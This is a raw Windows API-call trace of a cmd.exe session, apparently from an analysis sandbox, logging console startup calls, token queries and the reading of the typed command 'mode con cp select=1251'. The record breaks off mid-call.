_get_osfhandle (_FileHandle=1) returned 0x254 [0090.163] GetFileType (hFile=0x254) returned 0x3 [0090.257] ApiSetQueryApiSetPresence () returned 0x0 [0090.257] ResolveDelayLoadedAPI () returned 0x7ff91aaed990 [0090.820] BrandingFormatString () returned 0x27b21d81850 [0090.827] GetVersion () returned 0x3ad7000a [0090.827] _vsnwprintf (in: _Buffer=0x86f7affd10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x86f7affca8 | out: _Buffer="10.0.15063") returned 10 [0090.827] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.827] GetFileType (hFile=0x254) returned 0x3 [0090.827] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff78bcd7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0090.828] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff78bcd7f60, nSize=0x2000, Arguments=0x86f7affcb0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0090.828] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x86f7affc08, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7affc08*=0x26, lpOverlapped=0x0) returned 1 [0090.828] _vsnwprintf (in: _Buffer=0x7ff78bcd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x86f7affcd8 | out: _Buffer="\r\n") returned 2 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] GetFileType (hFile=0x254) returned 0x3 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0090.828] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x86f7affca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7affca8*=0x2, lpOverlapped=0x0) returned 1 [0090.828] _vsnwprintf (in: _Buffer=0x7ff78bcd7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x86f7affcd8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] GetFileType (hFile=0x254) returned 0x3 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0090.828] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x86f7affca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7affca8*=0x34, lpOverlapped=0x0) returned 1 [0090.828] _vsnwprintf (in: _Buffer=0x7ff78bcd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x86f7affcd8 | out: _Buffer="\r\n") returned 2 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] GetFileType (hFile=0x254) returned 0x3 [0090.828] _get_osfhandle (_FileHandle=1) returned 0x254 [0090.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0090.829] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x86f7affca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7affca8*=0x2, lpOverlapped=0x0) returned 1 [0090.829] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0090.829] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0090.829] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0090.829] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0090.829] ??_V@YAXPEAX@Z () returned 0x1 [0090.830] _get_osfhandle (_FileHandle=0) returned 0x248 [0090.830] GetFileType (hFile=0x248) returned 0x3 [0090.830] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0090.830] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x86f7affb18 | out: TokenHandle=0x86f7affb18*=0x0) returned 0xc000007c [0090.830] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x86f7affb18 | out: TokenHandle=0x86f7affb18*=0x94) returned 0x0 [0090.830] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x86f7affac8, TokenInformationLength=0x4, ReturnLength=0x86f7affad0 | out: TokenInformation=0x86f7affac8, ReturnLength=0x86f7affad0) returned 0x0 [0090.830] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x86f7affad0, TokenInformationLength=0x4, ReturnLength=0x86f7affac8 | out: TokenInformation=0x86f7affad0, ReturnLength=0x86f7affac8) returned 0x0 [0090.830] NtClose (Handle=0x94) returned 0x0 [0090.830] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x86f7affae0, nSize=0x0, Arguments=0x86f7affae8 | out: lpBuffer="茠⇘ɻ") returned 0xf [0090.831] GetProcessHeap () returned 0x27b21d80000 [0090.831] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x218) returned 0x27b21d86c30 [0091.045] GetConsoleTitleW (in: lpConsoleTitle=0x86f7affb30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0091.954] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0091.954] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0092.898] GetProcessHeap () returned 0x27b21d80000 [0092.898] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d86c30) returned 1 [0092.898] LocalFree (hMem=0x27b21d88320) returned 0x0 [0092.900] _vsnwprintf (in: _Buffer=0x7ff78bcd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x86f7aff958 | out: _Buffer="\r\n") returned 2 [0092.900] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.900] GetFileType (hFile=0x254) returned 0x3 [0092.900] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0092.900] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x86f7aff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7aff928*=0x2, lpOverlapped=0x0) returned 1 [0092.900] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0092.900] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x27b21e80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0092.900] malloc (_Size=0x107ce) returned 0x27b21e90060 [0092.901] _vsnwprintf (in: _Buffer=0x27b21e90060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x86f7aff968 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0092.901] _vsnwprintf (in: _Buffer=0x27b21e9008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x86f7aff968 | out: _Buffer=">") returned 1 [0092.902] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.902] GetFileType (hFile=0x254) returned 0x3 [0092.902] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0092.902] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x86f7aff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7aff958*=0x18, lpOverlapped=0x0) returned 1 [0092.902] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.902] GetFileType (hFile=0x248) returned 0x3 [0092.902] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.903] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.903] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0092.903] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.903] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.903] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0092.903] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.903] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.903] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0092.903] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.903] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.905] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0092.905] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.905] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.905] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0092.905] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.905] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.905] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0092.905] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.905] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.905] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0092.905] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.905] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.905] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0092.906] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.906] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.906] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0092.906] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.906] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.906] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0092.906] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.906] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.906] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0092.906] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.906] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.906] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0092.906] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.906] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.909] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0092.909] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.909] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.909] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0092.910] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.910] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.910] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0092.910] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.910] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.910] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0092.910] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.910] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.910] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0092.910] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.910] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.910] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0092.910] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.911] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.911] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0092.911] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.911] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.911] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0092.911] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.911] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.911] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0092.911] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.911] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.911] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0092.911] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.912] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.912] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0092.912] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.912] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.912] ReadFile (in: hFile=0x248, lpBuffer=0x7ff78bcc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x86f7affcb8, lpOverlapped=0x0 | out: 